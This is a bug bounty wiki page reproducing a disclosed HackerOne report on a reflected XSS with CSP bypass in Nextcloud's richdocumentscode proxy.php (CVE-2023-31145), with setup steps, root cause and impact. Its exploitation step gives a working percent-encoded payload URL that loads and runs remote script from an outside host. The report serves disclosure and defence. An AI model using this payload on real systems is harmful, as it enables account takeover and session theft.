Skip to content
XSS Disclosed report Intermediate CVE-2023-31145

Reflected XSS vulnerability with full CSP bypass in Nextcloud installations using recommended bundle

A reflected XSS vulnerability exists in the richdocumentscode app's proxy.php, which fails to apply Nextcloud's CSP. An attacker can craft a URL that executes JavaScript in the victim's browser, leading to account takeover.

lukasreschke Follow

Originally disclosed on HackerOne

Medium 4.3 View original
  • Triaged in 20 hours
  • Fixed in 2 months
  • Disclosed after 2 months

Summary by the program

Security advisory at https://github.com/CollaboraOnline/online/security/advisories/GHSA-rqj2-2c2x-gjmm

The report

Summary:

The vulnerability report describes a reflected XSS vulnerability with full CSP bypass in Nextcloud installations using the recommended bundle. The vulnerability can be exploited to perform a trivial account takeover attack.

Steps To Reproduce:

Setup Nextcloud

Download the latest Nextcloud release from Docker and run it on port 80:

docker run -d -p 80:80 nextcloud:latest

Open http://localhost in your browser and enter your chosen admin username and password. On the next screen install all recommended apps. The standard "Nextcloud Office" here will result in installing the vulnerable richdocumentscode application (see HubBundle.php):

Screenshot_2023-03-06_at_14.25.38.png
Screenshot_2023-03-06_at_14.25.38.png From the original on HackerOne

Exploitation

Open the following URL in your (or the victims) browser (the payload needs some extra encoding):

http://localhost/custom_apps/richdocumentscode/proxy.php?req=/browser/a4b9c74/cool.html?WOPISrc=http://example.com:%3c%69%6d%67%20%73%72%63%3d%27%27%20%6f%6e%65%72%72%6f%72%3d%27%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%29%29%3b%73%2e%73%72%63%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%34%37%2c%20%34%37%2c%20%34%39%2c%20%35%33%2c%20%34%36%2c%20%31%31%34%2c%20%31%31%35%29%3b%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%27%3e

There is a full CSP bypass as the proxy.php from the default shipped "richdocumentscode" is not using a regular Nextcloud controller but plain PHP code:

Screenshot_2023-03-06_at_14.28.45.png
Screenshot_2023-03-06_at_14.28.45.png From the original on HackerOne

Root cause

  1. Collabora Online is generating HTML documents using insecure string concatenation. (code pointer)
  2. The included proxy.php inside the "richdocumentscode" is not applying any of the default CSP policies of Nextcloud, as it is running on the same origin this can be used for a trivial account take over attack. (code pointer)

Impact

The vulnerability allows attackers to inject malicious code into web pages, which can be executed in the context of the victim's browser session. This means that an attacker can steal sensitive data, such as login credentials or personal information, or perform unauthorized actions on behalf of the victim, such as modifying or deleting data.

In this specific case, the vulnerability allows for a trivial account takeover attack. An attacker can exploit the vulnerability to inject code into the victim's browser session, allowing the attacker to take over the victim's account without their knowledge or consent. This can lead to unauthorized access to sensitive information and data, as well as the ability to perform actions on behalf of the victim.

Furthermore, the fact that the vulnerability bypasses the Content Security Policy (CSP) makes it more dangerous, as CSP is an important security mechanism used to prevent cross-site scripting attacks. By bypassing CSP, attackers can circumvent the security measures put in place by the web application and execute their malicious code.

The original report as published on HackerOne, by lukasreschke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the proxy.php script in the richdocumentscode app does not apply Nextcloud's default Content Security Policy and reflects user input without proper encoding.

Impact

An attacker could steal sensitive data or perform unauthorized actions, leading to a trivial account takeover, as the CSP bypass allows execution of malicious code.

What the attacker needed

Nextcloud with recommended apps installed; victim clicks a crafted link

How it was found

  1. Set up a Nextcloud instance using the official Docker image.
  2. Install all recommended apps, including Nextcloud Office (richdocumentscode).
  3. Open the crafted URL in a browser to trigger the XSS.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a cross-site scripting (XSS) bug where a malicious link can run code in a victim's browser. Because the vulnerable page lacks the usual security policy (CSP), the code can steal the victim's session and take over their account.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by lukasreschke

View all

19 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.